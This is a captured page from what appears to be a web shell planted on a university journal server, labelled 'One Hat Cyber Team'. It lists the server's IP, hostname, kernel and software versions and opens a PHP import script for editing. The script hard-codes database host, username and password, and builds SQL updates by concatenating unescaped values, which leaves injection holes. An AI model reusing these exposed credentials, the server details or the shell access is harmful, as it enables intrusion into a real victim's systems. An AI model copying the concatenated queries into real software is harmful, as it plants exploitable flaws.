One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
vo
/
mfat
/
something
/
migrate
/
Edit File:
UMJimport.php
<?php /** * @file tools/importExport.php * * Copyright (c) 2014-2017 Simon Fraser University * Copyright (c) 2003-2017 John Willinsky * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING. * * @class importExport * @ingroup tools * * @brief CLI tool to perform import/export tasks */ require(dirname(__FILE__) . '/bootstrap.inc.php'); class importExport extends CommandLineTool { var $command; var $parameters; /** * Constructor. * @param $argv array command-line arguments (see usage) */ function __construct($argv = array()) { parent::__construct($argv); $this->command = array_shift($this->argv); $this->parameters = $this->argv; } /** * Print command usage information. */ function usage() { echo "Command-line tool for import/export tasks\n" . "Usage:\n" . "\t{$this->scriptName} list: List available plugins\n" . "\t{$this->scriptName} [pluginName] usage: Display usage information for a plugin\n" . "\t{$this->scriptName} [pluginName] [params...]: Invoke a plugin\n"; } /** * Parse and execute the import/export task. */ function execute() { $xmlFile = PWD .'/accepted.xml'; // file<---------------------------------------------------- $contextId = 1; // journal<------------------------------------------------- $sectionId = 1; // section<------------------------------------------------- $authorUserGroupId = 14; // user group for this journal<----------------------------- $userDao = DAORegistry::getDAO('UserDAO'); $user = $userDao->getByUserName('robot');// username<------------------------------------------------ $editorId = array(0,4,8,10,21); //ant, koch, maks, tim $editorGroupId = array(0,3,20,20,20); $managerId = 26; //Tamila 26 Oksana 320 $managerGroupId = 2; $genreId = 1; // from genres, context=2, key=SUBMISSION<------------------ $stageId = 11; // 2 submission 6 final 11 production ready<--------------------------------------------------- $mimeType = 'application/pdf'; $m = mysqli_connect('192.168.1.3','umzh1','7qqRQQ555','umzh1'); mysqli_query($m, "set character_set_results='utf8'"); mysqli_query($m, "SET NAMES 'utf8'"); mysqli_query($m, "SET CHARACTER SET utf8"); mysqli_query($m, "SET SESSION collation_connection = 'utf8_unicode_ci'"); $xmlString = file_get_contents($xmlFile); $document = new DOMDocument(); $document->loadXml($xmlString, LIBXML_PARSEHUGE); $articles = $document->getElementsByTagName('article'); foreach ($articles as $article) { // Create new submission $submissionDao = Application::getSubmissionDAO(); $submission = $submissionDao->newDataObject(); $submission->setContextId($contextId); $submission->setSectionId($sectionId); $locale = $article->attributes->getNamedItem('locale')->nodeValue; $submission->setLocale($locale); $titles = $article->getElementsByTagName('title'); foreach ($titles as $title) { $submissionTitle = $title->nodeValue; $titleLocale = $title->attributes->getNamedItem('locale')->nodeValue; $submission->setTitle($submissionTitle, $titleLocale); $submission->setCleanTitle($submissionTitle, $titleLocale); } $abstracts = $article->getElementsByTagName('abstract'); foreach ($abstracts as $abstract) { $submissionAbstract = $abstract->nodeValue; $abstractLocale = $abstract->attributes->getNamedItem('locale')->nodeValue; $submission->setAbstract($submissionAbstract, $abstractLocale); } $submission->setStatus(1); $submission->setSubmissionProgress(0); // $submission->setStageId(1); $submission->initializePermissions(); $submission->stampStatusModified(); // $submission->setSubmissionProgress($this->step + 1); // $submission->setStageId(WORKFLOW_STAGE_ID_EDITING); $submission->setStageId(WORKFLOW_STAGE_ID_PRODUCTION); //$submission->setCopyrightNotice($this->context->getLocalizedSetting('copyrightNotice'), $this->getData('locale')); // Insert the submission $submissionId = $submissionDao->insertObject($submission); echo "New submission: ". $submission->getId() . "\n"; echo "Reg. No: " . $article->getElementsByTagName('id')[0]->nodeValue ."\n"; // Set authors $authorDao = DAORegistry::getDAO('AuthorDAO'); $authors = $article->getElementsByTagName('author'); foreach ($authors as $xmlauthor) { $author = $authorDao->newDataObject(); $firstnames = $xmlauthor->getElementsByTagName('firstname'); foreach ($firstnames as $firstname) { $name = $firstname->nodeValue; $locale = $firstname->attributes->getNamedItem('locale')->nodeValue; $author->setGivenName($name, $locale); } $lastnames = $xmlauthor->getElementsByTagName('lastname'); foreach ($lastnames as $lastname) { $name = $lastname->nodeValue; $locale = $lastname->attributes->getNamedItem('locale')->nodeValue; $author->setFamilyName($name, $locale); } $email = $xmlauthor->getElementsByTagName('email')[0]->nodeValue; $author->setEmail($email); $isPrimary = 0; $primary = $xmlauthor->attributes->getNamedItem('primary_contact')->nodeValue; if ($primary == 'true') { $isPrimary = 1; } $author->setPrimaryContact($isPrimary); $author->setIncludeInBrowse(1); $author->setUserGroupId($authorUserGroupId); $author->setSubmissionId($submissionId); $authorDao->insertObject($author); } // Create users for authors $authorUserDao = DAORegistry::getDAO('UserDAO'); $authors = $article->getElementsByTagName('author'); foreach ($authors as $xmlauthor) { $email = $xmlauthor->getElementsByTagName('email')[0]->nodeValue; if($authorUserDao->getUserByEmail($email)){ $authorUser = $authorUserDao->getUserByEmail($email); } else{ $authorUser = $authorUserDao->newDataObject(); $firstnames = $xmlauthor->getElementsByTagName('firstname'); foreach ($firstnames as $firstname) { $name = $firstname->nodeValue; $locale = $firstname->attributes->getNamedItem('locale')->nodeValue; $authorUser->setGivenName($name, $locale); } $lastnames = $xmlauthor->getElementsByTagName('lastname'); foreach ($lastnames as $lastname) { $name = $lastname->nodeValue; $locale = $lastname->attributes->getNamedItem('locale')->nodeValue; $authorUser->setFamilyName($name, $locale); } $authorUser->setEmail($email); $authorUser->setUsername('author_temp_import'); $password = Validation::generatePassword(); $authorUser->setPassword(Validation::encryptCredentials($authorUser->getData('username'), $password)); $authorUser->setDateRegistered(Core::getCurrentDate()); $authorUserId = $authorUserDao->insertObject($authorUser); $authorUser = $authorUserDao->getById($authorUserId); //$authorUser->setId($authorUserId); echo "added user $authorUserId\n"; $newName = 'author_' . $authorUserId; echo "setting name $newName\n"; $authorUser->setUsername($newName); $authorUser->setPassword(Validation::encryptCredentials($authorUser->getData('username'), $password)); $authorUserDao->updateObject($authorUser); $userGroupDao = DAORegistry::getDAO('UserGroupDAO'); echo "add user $authorUserId to group $authorUserGroupId\n"; $userGroupDao->assignUserToGroup($authorUserId, $authorUserGroupId); } } $submissionFiles = $article->getElementsByTagName('submission_file'); foreach ($submissionFiles as $submissionFileNode) { $fileName = $submissionFileNode->attributes->getNamedItem('filename')->nodeValue; $fileSize = $submissionFileNode->attributes->getNamedItem('filesize')->nodeValue; $fileDate = $submissionFileNode->attributes->getNamedItem('date_uploaded')->nodeValue; $revision = $submissionFileNode->attributes->getNamedItem('revision')->nodeValue; echo "Uploading file: $fileName of $fileSize, date $fileDate \n"; $submissionFileDao = DAORegistry::getDAO('SubmissionFileDAO'); $submissionFile = $submissionFileDao->newDataObjectByGenreId($genreId); $submissionFile->setSubmissionId($submission->getId()); $submissionFile->setSubmissionLocale($submission->getLocale()); $submissionFile->setGenreId($genreId); $submissionFile->setFileStage($stageId); $submissionFile->setDateUploaded($fileDate); $submissionFile->setDateModified(Core::getCurrentDate()); $submissionFile->setViewable(true); $submissionFile->setOriginalFileName($fileName); $names = $submissionFileNode->getElementsByTagName('name'); foreach ($names as $name) { $nameText = $name->nodeValue; $nameLocale = $name->attributes->getNamedItem('locale')->nodeValue; //echo "Label [" . $nameLocale . "]: " . $nameText . "\n"; $submissionFile->setName($nameText, $nameLocale); } $content = base64_decode($submissionFileNode->getElementsByTagName('embed')[0]->nodeValue); // echo "Content: " . $content . "\n"; // $filename = $this->handleRevisionChildElement($n, $submission, $submissionFile); $submissionFile->setFileType($mimeType); import('lib.pkp.classes.file.TemporaryFileManager'); $temporaryFileManager = new TemporaryFileManager(); $temporaryFilename = tempnam($temporaryFileManager->getBasePath(), 'embed'); if (!file_put_contents($temporaryFilename, $content)) { echo "Error writing file!!!\n"; } $submissionFile->setUploaderUserId($user->getId()); // Determine the user group. // $submissionFile->setUserGroupId($authorUserGroupId); $fileSizeOnDisk = filesize($temporaryFilename); if ($fileSize != $fileSizeOnDisk) { echo "Error: wrong filesize\n"; } $submissionFile->setFileSize($fileSize); $submissionFile->setRevision($revision); $insertedSubmissionFile = $submissionFileDao->insertObject($submissionFile, $temporaryFilename, false); import('lib.pkp.classes.file.FileManager'); $fileManager = new FileManager(); $fileManager->deleteByPath($temporaryFilename); } $submission->setDateSubmitted($fileDate); $submissionDao->updateObject($submission); // Assign the user to the stage $stageAssignmentDao = DAORegistry::getDAO('StageAssignmentDAO'); $stageAssignmentDao->build($submissionId, $authorUserGroupId, $authorUser->getId()); // Add comments to editor //if ($this->getData('commentsToEditor')){ // $this->setCommentsToEditor($this->submissionId, $this->getData('commentsToEditor'), $user->getId()); //} $stageAssignmentDao->build($submissionId, $managerGroupId, $managerId); if ($article->getElementsByTagName('editor')[0]) { $editor = $article->getElementsByTagName('editor')[0]->nodeValue; $stageAssignmentDao->build($submissionId, $editorGroupId[$editor], $editorId[$editor]); } $notes = $article->getElementsByTagName('note'); foreach($notes as $note){ $noteTitle = $note->attributes->getNamedItem('title')->nodeValue; $noteText = $note->nodeValue; $noteText = urldecode($noteText); $queryDao = DAORegistry::getDAO('QueryDAO'); $noteDao = DAORegistry::getDAO('NoteDAO'); $query = $queryDao->newDataObject(); $query->setAssocType(ASSOC_TYPE_SUBMISSION); $query->setAssocId($submissionId); // $query->setStageId(WORKFLOW_STAGE_ID_EDITING); $query->setStageId(WORKFLOW_STAGE_ID_PRODUCTION); $query->setSequence(REALLY_BIG_NUMBER); $queryDao->insertObject($query); $queryDao->resequence(ASSOC_TYPE_SUBMISSION, $submissionId); $queryDao->insertParticipant($query->getId(), $user->getId()); $queryId = $query->getId(); $note = $noteDao->newDataObject(); $note->setUserId($user->getId()); $note->setAssocType(ASSOC_TYPE_QUERY); $note->setTitle($noteTitle); $note->setContents($noteText); $note->setDateCreated(Core::getCurrentDate()); $note->setDateModified(Core::getCurrentDate()); $note->setAssocId($queryId); $noteDao->insertObject($note); } # insert data to old database $oldId = $article->getElementsByTagName('id')[0]->nodeValue; $sql = "select * from articles where article_id=" . $oldId; //echo $sql; $res = mysqli_query($m, $sql); $row = mysqli_fetch_assoc($res); $oldComment = $row['article_referee_comments']; $newURL = "http://umj-ojs.imath.kiev.ua/index.php/umj/workflow/index/" . $submission->getId() . "/1"; $oldComment .= "\n" . '<p/><b><span style="color:red;">СТАТТЮ ІМПОРТОВАНО ДО OJS, новий номер <a href="' . $newURL . '">' . $submission->getId() . '</a></span></b>'; $sql = "UPDATE articles set article_referee_comments='" . $oldComment . "' where article_id=" . $oldId; $res = mysqli_query($m, $sql); } $submission = ''; echo "done\n"; return ; } } $tool = new importExport(isset($argv) ? $argv : array()); $tool->execute(); ?>
Simpan